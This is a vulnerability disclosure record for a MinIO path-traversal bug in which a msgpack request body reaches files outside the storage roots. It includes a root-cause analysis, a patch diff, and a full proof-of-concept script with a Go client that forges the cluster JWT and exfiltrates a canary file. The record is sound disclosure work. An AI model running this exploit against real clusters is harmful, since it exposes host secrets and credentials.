ANT-2026-BRQZSDGZ · minio

path-traversal medium

GHSA-xh8f-g2qw-gcm7

Severity Claude critical · Security research firm high · Maintainer medium

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.

ANT-2026-BRQZSDGZ: minio: path-traversal at cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)

setRequestValidityMiddleware correctly rejects traversal sequences that appear in the URL — the control request /afile?vol=../.. returns 400 XMinioInvalidResourceName. However, the ReadMultiple storage endpoint takes its volume and file names from a msgpack-encoded request body, which the middleware does not examine. By placing ../.. in the msgpack payload, the attacker causes the server to stream back a ReadMultipleResp whose Data field contains the raw bytes of an arbitrary host-filesystem path, demonstrated by exfiltrating /flag (HOSTFS_CANARY_d7f3e9a1b2c4). Baseline check was 0 and post-PoC checks were 1,1,1, confirming reliable out-of-tree reads.

Target

Project: minio
Location: cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)

Technical Details

check.sh validity — The invariant is real: /flag is written to the host root FS (outside every configured drive /tmp/d{1..4}), and check.sh greps for its canary in the HTTP response body saved to /tmp/stolen. If check.sh exits 1, bytes from outside the MinIO storage root were returned over the wire. Reproduced in-container: baseline=0, post-PoC=1, strings /tmp/stolen shows HOSTFS_CANARY_d7f3e9a1b2c4.

No harness shortcut — The PoC is a single, real-protocol HTTP request:

POST /minio/storage/tmp/d1/v63/rmpl
Authorization: Bearer <HS512 JWT signed with MINIO_ROOT_PASSWORD>
X-Minio-Time: <ns-epoch>
body = msgpack(ReadMultipleReq{Bucket:"../../../../../../../../../../../..", Files:["flag"], MaxSize:1048576})

Nothing calls internal Go functions; curl hits the listening socket. I confirmed the endpoint requires the token: dropping Authorization → HTTP 401.

Backwards call-graph trace (wire → sink): 1. cmd/routers.go:90-91 — when globalIsDistErasure (any multi-node cluster, the standard production topology) → registerDistErasureRoutersregisterStorageRESTHandlers. 2. cmd/storage-rest-server.go:1366 — route POST {storageRESTPrefix}/{drivePath}/v63/rmplserver.ReadMultiple. 3. cmd/storage-rest-server.go:1287-1326ReadMultiple handler: s.IsValid(w,r) (auth) → req.DecodeMsg(r.Body) (msgpack) → s.getStorage().ReadMultiple(ctx, req, …). 4. cmd/xl-storage.go:3194-3218xlStorage.ReadMultiple: volumeDir := pathJoin(s.drivePath, req.Bucket) then fullPath := pathJoin(volumeDir, req.Prefix, f)readAllDataWithDMTime(…, fullPath). 5. cmd/xl-storage.go:1757-1766readAllDataWithDMTimeOpenFile(filePath, readMode, 0o666) (raw os.OpenFile).

Why traversal survives: - pathJoin (cmd/object-api-utils.go:268-305) concatenates and then path.Cleans, so /tmp/d1 + "../../…/.." + "flag"/flag. It is not a root-jail. - Unlike every sibling method, ReadMultiple does not call s.getVolDir(volume) (cmd/xl-storage.go:787-793, which at least rejects "..") and never calls checkPathLength/hasBadPathComponent. - The global guard setRequestValidityMiddleware (cmd/generic-handlers.go:365-411) only inspects r.URL.Path and r.Form; the .. is in the msgpack body, so it is never seen. Control experiment in meta confirms the same .. in a query param is rejected 400 — the body path is a genuine bypass of an existing defence.

Config requirements: distributed-erasure mode only (≥2 nodes). Single-node standalone MinIO does not register the route (routers.go:90). No exotic flags; the PoC setup is two vanilla minio server http://… processes.

REACHABLE

The triggering bytes are the msgpack body of the internode storage-REST request. The request is gated by validateStorageRequestToken (cmd/storage-rest-server.go:113-124): an HS512 JWT whose HMAC key is globalActiveCred.SecretKey (= MINIO_ROOT_PASSWORD) and whose accessKey/sub must equal MINIO_ROOT_USER. Empty disk-id is accepted (storage-rest-server.go:188-193), and the endpoint listens on the same public port as the S3 API, so network position is "anyone who can reach the S3 port".

Actors who can mint this token in a realistic deployment: (a) every peer node in the distributed cluster (all share the root creds — see cmd/jwt.go:52-59 authenticateNode), and (b) anyone holding the MinIO root credential. Ordinary S3/IAM users cannot. This is an authenticated, over-the-network primitive whose credential is the cluster-wide root secret — i.e. a compromised node or a MinIO root admin, not an anonymous client.

remote-auth

HIGH — Fully reachable over the real wire protocol with no harness tricks, but strongly authenticated (cluster root JWT), so not CRITICAL. It is a READ primitive: arbitrary host-filesystem file disclosure under the minio process UID. That still crosses a real trust boundary

Reproduction

  1. Build a msgpack ReadMultiple request with the volume field set to a traversal string (e.g. ../..) and the file entry pointing at the target host path (e.g. /flag).
  2. POST the payload to the ReadMultiple storage REST endpoint.
  3. Receive HTTP 200; unwrap the streamHTTPResponse framing and msgpack-decode the ReadMultipleResp.
  4. Extract the Data field, which contains the raw bytes of the targeted host file.

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Suggested Fix

(auto-ingested — fix TBD)

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-BRQZSDGZ.


Reference: ANT-2026-BRQZSDGZ
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Vulnerability Header

Field Value
Vulnerability Title MinIO ReadMultiple storage-REST endpoint: path traversal via msgpack body bypasses setRequestValidityMiddleware
Severity Rating High
Bug Category Path Traversal (CWE-22) — traversal via un-inspected input channel
Location cmd/storage-rest-server.go:1287-1326 (ReadMultiple handler); cmd/xl-storage.go:3194-3218 (xlStorage.ReadMultiple sink)
Affected Versions RELEASE.2025-09-07T16-13-09Z (last published community binary)
Related CVE(s) CVE-2022-35919 (MinIO admin-authenticated path traversal in server-update endpoint, different channel).

Executive Summary

MinIO's ReadMultiple internode storage-REST endpoint constructs a filesystem path from attacker-controlled Bucket and Files fields decoded from a msgpack request body. The global request-validity middleware rejects .. sequences in the URL and form parameters, but does not inspect request bodies, so traversal sequences placed in msgpack pass through. A caller holding the cluster root JWT (required for all internode traffic) reads file contents from outside the configured drive roots. In hardened bare-metal deployments running MinIO as a non-root service user, the primitive is bounded by the Linux O_NOATIME ownership check and reads files owned by the MinIO UID from anywhere on the filesystem; in containerized deployments running MinIO as UID 0 — the default for the official Docker image and most Helm charts — the primitive is truly arbitrary host-filesystem file disclosure.

Root Cause Analysis

Technical Description

The ReadMultiple handler (cmd/storage-rest-server.go:1287-1326) decodes a msgpack ReadMultipleReq from the HTTP request body and forwards it to the storage driver without validation:

func (s *storageRESTServer) ReadMultiple(w http.ResponseWriter, r *http.Request) {
    if !s.IsValid(w, r) { return }
    ...
    var req ReadMultipleReq
    mr := msgpNewReader(r.Body)
    err := req.DecodeMsg(mr)                      // Bucket, Prefix, Files, MaxSize, ... from body
    ...
    err = s.getStorage().ReadMultiple(r.Context(), req, responses)
}

The sink in xlStorage.ReadMultiple (cmd/xl-storage.go:3194-3218) joins the attacker-controlled Bucket into the drive root, then opens the resulting path:

volumeDir := pathJoin(s.drivePath, req.Bucket)          // ← traversal resolves here
for _, f := range req.Files {
    fullPath := pathJoin(volumeDir, req.Prefix, f)
    data, mt, err = s.readAllDataWithDMTime(ctx, req.Bucket, volumeDir, fullPath)
}

pathJoin (cmd/object-api-utils.go:268-305) concatenates its arguments and calls path.Clean, which resolves .. components, producing an absolute path anywhere on the filesystem — it is not a root-jail. readAllDataWithDMTime hands the resulting path to a raw os.OpenFile call with no further validation (cmd/xl-storage.go:1757-1766).

Two defences that exist elsewhere in the codebase are not applied on this code path:

  1. Sibling methods (e.g. StatInfoFile, ReadFileHandler) call s.getVolDir(volume) (cmd/xl-storage.go:787-793), which rejects any volume containing ... ReadMultiple skips this.
  2. The global middleware setRequestValidityMiddleware (cmd/generic-handlers.go:365-411) rejects .. in r.URL.Path and r.Form. It does not inspect the raw request body, so msgpack-encoded traversal is invisible to it.

First Faulty Condition

File cmd/xl-storage.go
Line 3197
Condition req.Bucket, taken unvalidated from the attacker-controlled msgpack body, is passed to pathJoin(s.drivePath, req.Bucket), allowing .. to resolve the resulting path outside the drive root. The getVolDir guard used by sibling storage methods is not applied here.
## Exploitability Assessment

Attack Vector & Reachability

Attack vector Network.
Authentication required High. Requires an HS512 JWT signed with MINIO_ROOT_PASSWORD and carrying accessKey/sub equal to MINIO_ROOT_USER (cmd/storage-rest-server.go:113-124). Every peer node in the cluster holds this secret; a compromised peer, or any actor in possession of the root credential, can mint one.
User interaction required None.
Reachable in default config Yes. Distributed-erasure mode (≥2 nodes) — the standard production topology. Single-node standalone deployments do not register the route (cmd/routers.go:90-91). No non-default flags required.
Entry point(s) POST body — msgpack-encoded ReadMultipleReq with traversal (..) in the Bucket field, delivered to POST /minio/storage/{drivePath}/v63/rmpl on the storage-REST port (same port as the S3 API).

The MinIO root credential grants full administrative control over object data, IAM, KMS configuration, replication targets, and notification webhooks — but the admin API does not expose raw filesystem paths outside the configured drive roots. This bug dissolves that boundary. In a hardened bare-metal deployment (User=minio in the systemd unit), the attacker extracts MinIO-owned secrets from anywhere on the filesystem: TLS private keys, KMS/KES key material, systemd credentials, and drives of other tenants sharing the same UID on the host — secrets that persist across cluster credential rotation. In a containerized deployment running MinIO as UID 0 — the historical default for the official Docker image, docker-compose examples in the MinIO docs, and Helm charts without securityContext.runAsNonRoot — the primitive escalates to arbitrary host-filesystem disclosure, reaching /etc/shadow, /root/**, Kubernetes service-account tokens, and cloud-init metadata caches.

Reproduction Steps

Environment

OS / version Ubuntu 24.04.4 LTS
Compiler / flags Pre-built binary from https://dl.min.io/server/minio/release/linux-amd64/minio
Target version / commit RELEASE.2025-09-07T16-13-09Z (commit 07c3a429bfed433e49018cb0f78a52145d4bedeb)

Steps

Reproduction requires a 2-node distributed cluster and a small Go client that mints the HS512 JWT, msgpack-encodes the request, and unwraps MinIO's streamHTTPResponse framing. The attached poc.sh automates the full workflow: it installs prerequisites, downloads the target MinIO binary, provisions per-drive tmpfs mounts, launches a 2-node cluster, plants a canary file outside every drive root (owned by the MinIO process UID), builds the exploit client, runs three tests (two controls and the exploit), and verifies the canary in the response.

sudo ./poc.sh              # provision, run all tests, report verdict
sudo ./poc.sh cleanup      # tear down cluster, mounts, canary, /etc/hosts entry

The three tests are:

  1. Control — no Authorization header — confirms the endpoint requires the root JWT.
  2. Control — traversal in URL query string — confirms setRequestValidityMiddleware catches URL-path traversal.
  3. Exploit — traversal in msgpack body — the bypass under test.

Expected output

[*] ===== TEST 1 (control): no Authorization header — expect HTTP 401 =====
HTTP 401  body-len=17
[+] TEST 1 PASS (endpoint requires root JWT)

[*] ===== TEST 2 (control): traversal in URL query — expect HTTP 400 =====
HTTP 400  ... <Code>XMinioInvalidResourceName</Code> ...
[+] TEST 2 PASS (middleware rejects URL-path traversal)

[*] ===== TEST 3 (exploit): traversal in msgpack body — expect HTTP 200 + canary =====
HTTP 200  body-len=108
unwrapped 102 bytes → /tmp/stolen.unwrapped

--- response msgpack (strings) ---
    ../..
    secret/private.key
    MINIO_RMPL_TRAVERSAL_CANARY_d7f3e9a1b2c4

[+] TEST 3 PASS — canary exfiltrated from outside every MinIO drive
[+] =====================================================
[+]   VULNERABILITY CONFIRMED
[+] =====================================================

ex=true and the canary contents in the d (Data) field of the decoded ReadMultipleResp confirm that a file outside every configured MinIO drive was read over the wire.

Recommended Fix

  1. Validate inputs at the handler boundary, matching the pattern used by every other storage-REST method. In xlStorage.ReadMultiple (cmd/xl-storage.go:3194), replace the direct pathJoin(s.drivePath, req.Bucket) with a call to s.getVolDir(req.Bucket), which already rejects ".." and other bad components. Apply checkPathLength(fullPath) and hasBadPathComponent(req.Prefix, f) before the readAllDataWithDMTime call.

  2. Defence in depth at the sink. After computing fullPath, confirm it is still rooted at s.drivePath:

    go clean := filepath.Clean(fullPath) if !strings.HasPrefix(clean+string(os.PathSeparator), s.drivePath+string(os.PathSeparator)) { return errFileAccessDenied }

  3. Broader hardening. Extend setRequestValidityMiddleware to parse msgpack bodies on storage-REST routes and reject ".." in any string field, or introduce a serializer-level invariant that volume/prefix/filename fields never contain traversal components. This would close the same gap for any future handlers added to the v6* storage-REST family.

Patch provenance: AI-generated + Human-reviewed

References

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Attachment: diff.patch

 cmd/xl-storage.go | 13 ++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/cmd/xl-storage.go b/cmd/xl-storage.go
--- a/cmd/xl-storage.go
+++ b/cmd/xl-storage.go
@@ -3194,12 +3194,21 @@ func (s *xlStorage) ReadMultiple(ctx context.Context, req ReadMultipleReq, resp
 func (s *xlStorage) ReadMultiple(ctx context.Context, req ReadMultipleReq, resp chan<- ReadMultipleResp) error {
    defer xioutil.SafeClose(resp)

-   volumeDir := pathJoin(s.drivePath, req.Bucket)
+   volumeDir, err := s.getVolDir(req.Bucket)
+   if err != nil {
+       return err
+   }
+   if hasBadPathComponent(req.Prefix) {
+       return errInvalidArgument
+   }
    found := 0
    for _, f := range req.Files {
        if contextCanceled(ctx) {
            return ctx.Err()
        }
+       if hasBadPathComponent(f) {
+           return errInvalidArgument
+       }
        r := ReadMultipleResp{
            Bucket: req.Bucket,
            Prefix: req.Prefix,
@@ -3210,6 +3219,9 @@ func (s *xlStorage) ReadMultiple(ctx context.Context, req ReadMultipleReq, resp
        var mt time.Time

        fullPath := pathJoin(volumeDir, req.Prefix, f)
+       if err := checkPathLength(fullPath); err != nil {
+           return err
+       }
        w := xioutil.NewDeadlineWorker(globalDriveConfig.GetMaxTimeout())
        if err := w.Run(func() (err error) {
            if req.MetadataOnly {

Attachment: poc.sh

#!/usr/bin/env bash
# MinIO ReadMultiple msgpack-body path traversal
#
# Automated end-to-end reproduction. Provisions a 2-node distributed MinIO
# cluster, plants a canary file outside every drive root, and exercises three
# tests:
#   (1) control — no Authorization header         -> 401
#   (2) control — traversal in URL query string   -> 400 (middleware rejects)
#   (3) exploit — traversal in msgpack body       -> 200 with file contents
#
# Usage:
#     sudo ./poc.sh              # provision + run + verify
#     sudo ./poc.sh cleanup      # tear down cluster, mounts, canary, /etc/hosts
#
# Target: RELEASE.2025-09-07T16-13-09Z (final published MinIO community binary).
# Tested on Ubuntu 24.04 LTS.

set -euo pipefail

MINIO_URL="https://dl.min.io/server/minio/release/linux-amd64/minio"
MINIO_BIN="/usr/local/bin/minio"
ROOT_USER="minioadmin"
ROOT_PASS="supersecretpassword123"
CANARY="MINIO_RMPL_TRAVERSAL_CANARY_d7f3e9a1b2c4"
SECRET_DIR="/srv/secret"
SECRET_FILE="${SECRET_DIR}/private.key"
DRIVES=(n1d1 n1d2 n2d1 n2d2)
MINIO_USER="${SUDO_USER:-ubuntu}"
WORK="/tmp/minio-rmpl-poc"
EXPLOIT_DIR="${WORK}/minioxp"

log()  { printf '\033[1;34m[*]\033[0m %s\n' "$*"; }
ok()   { printf '\033[1;32m[+]\033[0m %s\n' "$*"; }
warn() { printf '\033[1;33m[!]\033[0m %s\n' "$*"; }
die()  { printf '\033[1;31m[x]\033[0m %s\n' "$*" >&2; exit 1; }

require_root() { [[ $EUID -eq 0 ]] || die "run as root (use sudo)"; }

cleanup() {
    log "stopping MinIO processes"
    pkill -9 -f "minio server" 2>/dev/null || true
    sleep 2
    log "unmounting drive tmpfs"
    for d in "${DRIVES[@]}"; do
        umount "/srv/minio/${d}" 2>/dev/null || true
    done
    rm -rf /srv/minio "${SECRET_DIR}" "${WORK}" /tmp/minio[12].log /tmp/stolen* 2>/dev/null || true
    sed -i '/minio1 minio2/d' /etc/hosts 2>/dev/null || true
    ok "cleanup complete"
}

install_deps() {
    log "installing prerequisites (golang-go, curl)"
    export DEBIAN_FRONTEND=noninteractive
    apt-get update -qq
    apt-get install -y -qq golang-go curl >/dev/null
    command -v go >/dev/null || die "go not installed"
}

fetch_minio() {
    if [[ -x "${MINIO_BIN}" ]]; then
        log "MinIO already present: $(${MINIO_BIN} --version 2>&1 | head -1)"
        return
    fi
    log "downloading MinIO binary"
    curl -fsSL -o "${MINIO_BIN}" "${MINIO_URL}"
    chmod +x "${MINIO_BIN}"
    ok "installed $(${MINIO_BIN} --version 2>&1 | head -1)"
}

setup_hosts() {
    grep -q "minio1 minio2" /etc/hosts || {
        log "adding loopback aliases minio1/minio2 to /etc/hosts"
        echo "127.0.0.1 minio1 minio2" >> /etc/hosts
    }
}

setup_drives() {
    log "mounting per-drive tmpfs (each drive is its own filesystem — mirrors separate EBS volumes)"
    for d in "${DRIVES[@]}"; do
        mkdir -p "/srv/minio/${d}"
        mountpoint -q "/srv/minio/${d}" || mount -t tmpfs -o size=512m,mode=0755 tmpfs "/srv/minio/${d}"
        chown "${MINIO_USER}:${MINIO_USER}" "/srv/minio/${d}"
    done
}

plant_canary() {
    log "planting canary outside every MinIO drive (owned by the MinIO process UID: ${MINIO_USER})"
    mkdir -p "${SECRET_DIR}"
    chown "${MINIO_USER}:${MINIO_USER}" "${SECRET_DIR}"
    printf '%s\n' "${CANARY}" > "${SECRET_FILE}"
    chown "${MINIO_USER}:${MINIO_USER}" "${SECRET_FILE}"
    chmod 0644 "${SECRET_FILE}"
    for m in /srv/minio/n*; do
        [[ -e "${m}/private.key" ]] && die "canary leaked into ${m}; aborting"
    done
    ok "canary at ${SECRET_FILE} (outside every MinIO drive)"
}

launch_cluster() {
    log "launching 2-node distributed MinIO cluster as ${MINIO_USER}"
    pkill -9 -f "minio server" 2>/dev/null || true
    sleep 1
    rm -f /tmp/minio1.log /tmp/minio2.log

    local args="http://minio1:9001/srv/minio/n1d1 http://minio1:9001/srv/minio/n1d2 http://minio2:9002/srv/minio/n2d1 http://minio2:9002/srv/minio/n2d2"

    sudo -u "${MINIO_USER}" setsid env \
        MINIO_ROOT_USER="${ROOT_USER}" \
        MINIO_ROOT_PASSWORD="${ROOT_PASS}" \
        MINIO_BROWSER=off \
        bash -c "exec ${MINIO_BIN} server --address :9001 ${args}" </dev/null >/tmp/minio1.log 2>&1 &

    sudo -u "${MINIO_USER}" setsid env \
        MINIO_ROOT_USER="${ROOT_USER}" \
        MINIO_ROOT_PASSWORD="${ROOT_PASS}" \
        MINIO_BROWSER=off \
        bash -c "exec ${MINIO_BIN} server --address :9002 ${args}" </dev/null >/tmp/minio2.log 2>&1 &

    for _ in $(seq 1 15); do
        if curl -sf -o /dev/null http://minio1:9001/minio/health/live 2>/dev/null \
           && curl -sf -o /dev/null http://minio2:9002/minio/health/live 2>/dev/null; then
            ok "cluster healthy (both nodes live)"
            return
        fi
        sleep 1
    done
    tail -30 /tmp/minio1.log /tmp/minio2.log
    die "cluster did not become healthy within 15s"
}

build_exploit() {
    log "building exploit client"
    mkdir -p "${EXPLOIT_DIR}"

    cat > "${EXPLOIT_DIR}/go.mod" <<'GOMOD'
module minioxp

go 1.22

require (
    github.com/golang-jwt/jwt/v5 v5.2.1
    github.com/tinylib/msgp v1.2.4
)
GOMOD

    cat > "${EXPLOIT_DIR}/main.go" <<'GOSRC'
package main

import (
    "bytes"
    "encoding/binary"
    "errors"
    "flag"
    "fmt"
    "io"
    "net/http"
    "os"
    "strconv"
    "time"

    jwt "github.com/golang-jwt/jwt/v5"
    "github.com/tinylib/msgp/msgp"
)

func mintToken(ak, sk string) (string, error) {
    claims := jwt.MapClaims{
        "accessKey": ak,
        "sub":       ak,
        "exp":       time.Now().Add(time.Hour).Unix(),
    }
    return jwt.NewWithClaims(jwt.SigningMethodHS512, claims).SignedString([]byte(sk))
}

func encodeReq(bucket string, files []string, maxSize int64) []byte {
    var buf bytes.Buffer
    w := msgp.NewWriter(&buf)
    w.WriteMapHeader(3)
    w.WriteString("bk"); w.WriteString(bucket)
    w.WriteString("fl"); w.WriteArrayHeader(uint32(len(files)))
    for _, f := range files { w.WriteString(f) }
    w.WriteString("ms"); w.WriteInt64(maxSize)
    w.Flush()
    return buf.Bytes()
}

// unwrap MinIO streamHTTPResponse framing: tag byte then payload.
//   0x00: done                   0x01: error (text to EOF)
//   0x02: data block (4-byte LE length + bytes)   0x20: keepalive filler
func unwrap(r io.Reader) ([]byte, error) {
    var out bytes.Buffer
    var tag [1]byte
    for {
        if _, err := io.ReadFull(r, tag[:]); err != nil {
            if err == io.EOF { return out.Bytes(), nil }
            return out.Bytes(), err
        }
        switch tag[0] {
        case 0:
            io.Copy(io.Discard, r); return out.Bytes(), nil
        case 1:
            e, _ := io.ReadAll(r); return out.Bytes(), errors.New(string(e))
        case 2:
            var ln [4]byte
            if _, err := io.ReadFull(r, ln[:]); err != nil { return out.Bytes(), err }
            length := binary.LittleEndian.Uint32(ln[:])
            if _, err := io.CopyN(&out, r, int64(length)); err != nil { return out.Bytes(), err }
        case 32:
            continue
        default:
            return out.Bytes(), fmt.Errorf("unexpected framing byte: 0x%02x", tag[0])
        }
    }
}

func main() {
    target := flag.String("target", "http://minio1:9001", "")
    drive  := flag.String("drive",  "/srv/minio/n1d1", "")
    ak     := flag.String("ak",     "minioadmin", "")
    sk     := flag.String("sk",     "supersecretpassword123", "")
    bucket := flag.String("bucket", "../..", "")
    file   := flag.String("file",   "secret/private.key", "")
    noAuth := flag.Bool("no-auth", false, "drop Authorization header")
    urlT   := flag.Bool("url-traversal", false, "put traversal in URL query")
    out    := flag.String("out", "/tmp/stolen", "")
    flag.Parse()

    token, err := mintToken(*ak, *sk); if err != nil { panic(err) }

    var req *http.Request
    if *urlT {
        u := fmt.Sprintf("%s/minio/storage%s/v63/rmpl?vol=%s&file-path=afile", *target, *drive,
            "../../../../../../../../../../..")
        req, _ = http.NewRequest("POST", u, nil)
    } else {
        payload := encodeReq(*bucket, []string{*file}, 1048576)
        req, _ = http.NewRequest("POST", fmt.Sprintf("%s/minio/storage%s/v63/rmpl", *target, *drive),
            bytes.NewReader(payload))
    }
    if !*noAuth {
        req.Header.Set("Authorization", "Bearer "+token)
        req.Header.Set("X-Minio-Time", strconv.FormatInt(time.Now().UnixNano(), 10))
    }

    resp, err := http.DefaultClient.Do(req); if err != nil { panic(err) }
    defer resp.Body.Close()
    body, _ := io.ReadAll(resp.Body)
    fmt.Printf("HTTP %d  body-len=%d\n", resp.StatusCode, len(body))
    os.WriteFile(*out, body, 0o644)

    if resp.StatusCode == 200 {
        u, uerr := unwrap(bytes.NewReader(body))
        if uerr != nil { fmt.Printf("stream-error: %v\n", uerr) }
        os.WriteFile(*out+".unwrapped", u, 0o644)
        fmt.Printf("unwrapped %d bytes → %s.unwrapped\n", len(u), *out)
    } else {
        n := len(body); if n > 400 { n = 400 }
        fmt.Printf("body: %s\n", string(body[:n]))
    }
}
GOSRC

    chown -R "${MINIO_USER}:${MINIO_USER}" "${WORK}"
    sudo -u "${MINIO_USER}" bash -c "cd ${EXPLOIT_DIR} && go mod tidy >/dev/null 2>&1 && go build -o minioxp ."
    ok "exploit client built: ${EXPLOIT_DIR}/minioxp"
}

run_tests() {
    local exe="${EXPLOIT_DIR}/minioxp"
    local fail=0

    echo
    log "===== TEST 1 (control): no Authorization header — expect HTTP 401 ====="
    sudo -u "${MINIO_USER}" "${exe}" -no-auth -out /tmp/stolen.noauth || true
    if grep -q 'JWT token missing' /tmp/stolen.noauth 2>/dev/null; then
        ok "TEST 1 PASS (endpoint requires root JWT)"
    else
        warn "TEST 1 unexpected — see above"; fail=1
    fi

    echo
    log "===== TEST 2 (control): traversal in URL query — expect HTTP 400 ====="
    sudo -u "${MINIO_USER}" "${exe}" -url-traversal -out /tmp/stolen.urlcontrol || true
    if grep -q 'XMinioInvalidResourceName' /tmp/stolen.urlcontrol 2>/dev/null; then
        ok "TEST 2 PASS (middleware rejects URL-path traversal)"
    else
        warn "TEST 2 unexpected — see above"; fail=1
    fi

    echo
    log "===== TEST 3 (exploit): traversal in msgpack body — expect HTTP 200 + canary ====="
    sudo -u "${MINIO_USER}" "${exe}" \
        -bucket "../.." -file "secret/private.key" -out /tmp/stolen
    echo
    echo "--- response msgpack (strings) ---"
    strings /tmp/stolen.unwrapped 2>/dev/null | sed 's/^/    /'
    echo

    if grep -q "${CANARY}" /tmp/stolen.unwrapped 2>/dev/null; then
        ok "TEST 3 PASS — canary exfiltrated from outside every MinIO drive"
        ok "    canary-value  : ${CANARY}"
        ok "    canary-source : ${SECRET_FILE}"
        ok "    drive roots   : /srv/minio/n{1,2}d{1,2}  (canary is NOT under any of these)"
    else
        warn "TEST 3 FAIL — canary not present in response"; fail=1
    fi

    echo
    if [[ $fail -eq 0 ]]; then
        ok "====================================================="
        ok "  VULNERABILITY CONFIRMED"
        ok "  MinIO ${MINIO_BIN##*/} — $(${MINIO_BIN} --version 2>&1 | head -1 | awk '{print $3}')"
        ok "====================================================="
        ok "Run: sudo $0 cleanup   # to tear down"
    else
        die "one or more tests did not produce the expected result — see above"
    fi
}

main() {
    require_root
    if [[ "${1:-}" == "cleanup" ]]; then cleanup; exit 0; fi

    install_deps
    fetch_minio
    setup_hosts
    setup_drives
    plant_canary
    launch_cluster
    build_exploit
    run_tests
}

main "$@"
TIMELINE

Dates from discovery through public reveal.

  1. 2026-04-12 Reported to tracker
  2. 2026-05-05 Patch released
  3. 2026-05-07 Sent to maintainer
  4. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

cd34ead134540b9ec9509b987370c159897bd2fc5ee0ea7edbb4a563cc64937dc905942dd38373ec163fde1a3941046f909d41c6d63187ad18babde4b5f7d085

Committed 2026-05-07 00:07 PT

Revealed 2026-05-20 00:40 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-BRQZSDGZ",
  "bug_class": "path-traversal",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-04-12T06:56:47+00:00",
  "description": "setRequestValidityMiddleware correctly rejects traversal sequences that appear in the URL — the control request `/afile?vol=../..` returns 400 XMinioInvalidResourceName. However, the ReadMultiple storage endpoint takes its volume and file names from a msgpack-encoded request body, which the middleware does not examine. By placing `../..` in the msgpack payload, the attacker causes the server to stream back a ReadMultipleResp whose Data field contains the raw bytes of an arbitrary host-filesystem path, demonstrated by exfiltrating `/flag` (HOSTFS_CANARY_d7f3e9a1b2c4). Baseline check was 0 and post-PoC checks were 1,1,1, confirming reliable out-of-tree reads.",
  "discovered_at": null,
  "location": "cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "minio",
  "reproduction": [
    "1. Build a msgpack ReadMultiple request with the volume field set to a traversal string (e.g. `../..`) and the file entry pointing at the target host path (e.g. `/flag`).",
    "2. POST the payload to the ReadMultiple storage REST endpoint.",
    "3. Receive HTTP 200; unwrap the streamHTTPResponse framing and msgpack-decode the ReadMultipleResp.",
    "4. Extract the Data field, which contains the raw bytes of the targeted host file."
  ],
  "technical_details": "<reachability>\n**check.sh validity** — The invariant is real: `/flag` is written to the host root FS (outside every configured drive `/tmp/d{1..4}`), and `check.sh` greps for its canary in the HTTP response body saved to `/tmp/stolen`. If `check.sh` exits 1, bytes from outside the MinIO storage root were returned over the wire. Reproduced in-container: baseline=0, post-PoC=1, `strings /tmp/stolen` shows `HOSTFS_CANARY_d7f3e9a1b2c4`.\n\n**No harness shortcut** — The PoC is a single, real-protocol HTTP request:\n```\nPOST /minio/storage/tmp/d1/v63/rmpl\nAuthorization: Bearer <HS512 JWT signed with MINIO_ROOT_PASSWORD>\nX-Minio-Time: <ns-epoch>\nbody = msgpack(ReadMultipleReq{Bucket:\"../../../../../../../../../../../..\", Files:[\"flag\"], MaxSize:1048576})\n```\nNothing calls internal Go functions; `curl` hits the listening socket. I confirmed the endpoint requires the token: dropping `Authorization` → HTTP 401.\n\n**Backwards call-graph trace (wire → sink):**\n1. `cmd/routers.go:90-91` — when `globalIsDistErasure` (any multi-node cluster, the standard production topology) → `registerDistErasureRouters` → `registerStorageRESTHandlers`.\n2. `cmd/storage-rest-server.go:1366` — route `POST {storageRESTPrefix}/{drivePath}/v63/rmpl` → `server.ReadMultiple`.\n3. `cmd/storage-rest-server.go:1287-1326` — `ReadMultiple` handler: `s.IsValid(w,r)` (auth) → `req.DecodeMsg(r.Body)` (msgpack) → `s.getStorage().ReadMultiple(ctx, req, …)`.\n4. `cmd/xl-storage.go:3194-3218` — `xlStorage.ReadMultiple`: `volumeDir := pathJoin(s.drivePath, req.Bucket)` then `fullPath := pathJoin(volumeDir, req.Prefix, f)` → `readAllDataWithDMTime(…, fullPath)`.\n5. `cmd/xl-storage.go:1757-1766` — `readAllDataWithDMTime` → `OpenFile(filePath, readMode, 0o666)` (raw `os.OpenFile`).\n\n**Why traversal survives:**\n- `pathJoin` (`cmd/object-api-utils.go:268-305`) concatenates and then `path.Clean`s, so `/tmp/d1` + `\"../../…/..\"` + `\"flag\"` → `/flag`. It is not a root-jail.\n- Unlike every sibling method, `ReadMultiple` **does not** call `s.getVolDir(volume)` (`cmd/xl-storage.go:787-793`, which at least rejects `\"..\"`) and never calls `checkPathLength`/`hasBadPathComponent`.\n- The global guard `setRequestValidityMiddleware` (`cmd/generic-handlers.go:365-411`) only inspects `r.URL.Path` and `r.Form`; the `..` is in the msgpack **body**, so it is never seen. Control experiment in meta confirms the same `..` in a query param is rejected 400 — the body path is a genuine bypass of an existing defence.\n\n**Config requirements:** distributed-erasure mode only (≥2 nodes). Single-node standalone MinIO does not register the route (`routers.go:90`). No exotic flags; the PoC setup is two vanilla `minio server http://…` processes.\n\nREACHABLE\n</reachability>\n\n<trust_boundary>\nThe triggering bytes are the msgpack body of the internode storage-REST request. The request is gated by `validateStorageRequestToken` (`cmd/storage-rest-server.go:113-124`): an HS512 JWT whose HMAC key is `globalActiveCred.SecretKey` (= 